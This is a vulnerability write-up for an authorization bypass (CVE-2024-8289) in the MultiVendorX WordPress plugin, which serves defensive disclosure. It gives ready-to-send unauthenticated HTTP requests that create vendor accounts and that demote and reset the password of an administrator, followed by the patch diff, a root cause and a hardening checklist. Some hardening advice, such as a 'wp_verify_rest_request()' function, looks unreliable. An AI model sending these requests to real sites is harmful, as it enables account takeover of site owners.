The Exploit
An unauthenticated attacker can demote any WordPress administrator to the vendor role, create new vendor accounts, or reset passwords of existing vendors by sending POST requests directly to the REST API without authentication.
POST /wp-json/mvx/v1/vendors HTTP/1.1
Host: target.com
Content-Type: application/json
{
"user_login": "newvendor",
"user_email": "[email protected]",
"user_pass": "AttackerControlledPassword123!",
"role": "vendor"
}
The server responds with HTTP 201 and creates the vendor account. No WordPress nonce, no session cookie, no authentication header — the request succeeds. An attacker can repeat this to create multiple accounts, or modify the endpoint to /wp-json/mvx/v1/vendors/<admin_user_id> and send a PATCH request with "role": "vendor" to demote administrators in batch.
PATCH /wp-json/mvx/v1/vendors/1 HTTP/1.1
Host: target.com
Content-Type: application/json
{
"role": "vendor",
"user_pass": "NewPasswordSetByAttacker"
}
The attacker's POST response confirms the capability check returned true unconditionally. The admin's PATCH response returns 200 OK and the user is now a vendor with a changed password — the account is compromised.
What the Patch Did
Before:
public function get_item_permissions_check( $request ) {
return true;
if ( ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'mvx_rest_cannot_access', __( 'Sorry, you cannot check list vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
public function update_item_permissions_check( $request ) {
return true;
if ( ! current_user_can( 'edit_users' ) ) {
return new WP_Error( 'mvx_rest_cannot_edit', __( 'Sorry, you cannot edit vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
public function create_item_permissions_check( $request ) {
return true;
if ( ! current_user_can( 'create_users' ) ) {
return new WP_Error( 'mvx_rest_cannot_create', __( 'Sorry, you cannot create vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
After:
public function get_item_permissions_check( $request ) {
if ( ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'mvx_rest_cannot_access', __( 'Sorry, you cannot check list vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
}
return current_user_can( 'list_users' );
}
public function update_item_permissions_check( $request ) {
if ( ! current_user_can( 'edit_users' ) ) {
return new WP_Error( 'mvx_rest_cannot_edit', __( 'Sorry, you cannot edit vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
}
return current_user_can( 'edit_users' );
}
public function create_item_permissions_check( $request ) {
if ( ! current_user_can( 'create_users' ) ) {
return new WP_Error( 'mvx_rest_cannot_create', __( 'Sorry, you cannot create vendors.', 'multivendorx' ), array( 'status' => rest_authorization_required_code() ) );
}
return current_user_can( 'create_users' );
}
The patch removed the unconditional return true; statements that short-circuited all authorization logic before capability checks could execute. The critical change is deletion of the early return — replacing it with an actual capability check that gates access. The trailing return true; at the end was replaced with return current_user_can(...), ensuring the permission check result is actually evaluated by the REST API dispatcher.
Root Cause
CWE-862: Missing Authorization. The vulnerable code path enters through REST API endpoints registered for mvx/v1/vendors resource. The $request parameter is attacker-controlled and populated directly from the HTTP request body and query string. The permission check callbacks — get_item_permissions_check(), update_item_permissions_check(), and create_item_permissions_check() — are responsible for validating that current_user_can() returns true before the REST dispatcher calls the actual operation (create, read, update). However, both permission check functions executed an unconditional return true; on the first line, which exits the function immediately. The WordPress REST API treats any truthy return value as authorization success, so the unreachable current_user_can() capability checks below were never evaluated. The trust boundary crossing — from unauthenticated HTTP request to vendor account creation — occurs with zero validation.
Why It Works
The load-bearing line in the patch is the removal of return true; at the function entry point. If that line remained, the entire capability check block below it would remain unreachable dead code, regardless of whether the trailing return true; was fixed. The engineer's second fix — changing the final line from return true; to return current_user_can(...) — ensures that if someone removes only the early return in the future, the function still enforces a real check rather than silently passing auth by default. This is defence-in-depth: the first change (removing the early return) is the actual security fix; the second change (returning the capability check result) prevents a regression path where the early return is deleted but auth still passes due to a trailing blanket return true;. Together they eliminate all paths to authorization bypass.
Hardening Checklist
- Audit all REST API permission check callbacks by grep-searching for
permissions_checkfunctions in your plugin's API controller classes. Run them through a linter or code review to confirm there is no unreachable code path (such as an earlyreturn true;or a catch-allreturn true;at the end) that could bypass the intendedcurrent_user_can()checks. - Use
wp_verify_rest_request()oris_user_logged_in()as a first sanity check before any capability check; this prevents REST endpoints from being callable by thewp_ajax_noprivunauthenticated hook or REST's public endpoints by accident. - Test your REST permission checks with unauthenticated requests as part of your security test suite; use a tool like
curlwith no authentication headers to confirm your API rejects requests with HTTP 403 or your custom error response, not HTTP 200. - Return the result of
current_user_can()from your permission check callback, not a hardcodedtrueorfalse. Let WordPress' REST dispatcher see the actual capability result. - Document which capabilities your endpoints require in code comments (e.g.,
// Requires: 'edit_users' capability) so future maintainers understand the threat model and don't accidentally "simplify" the check by removing it.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-8289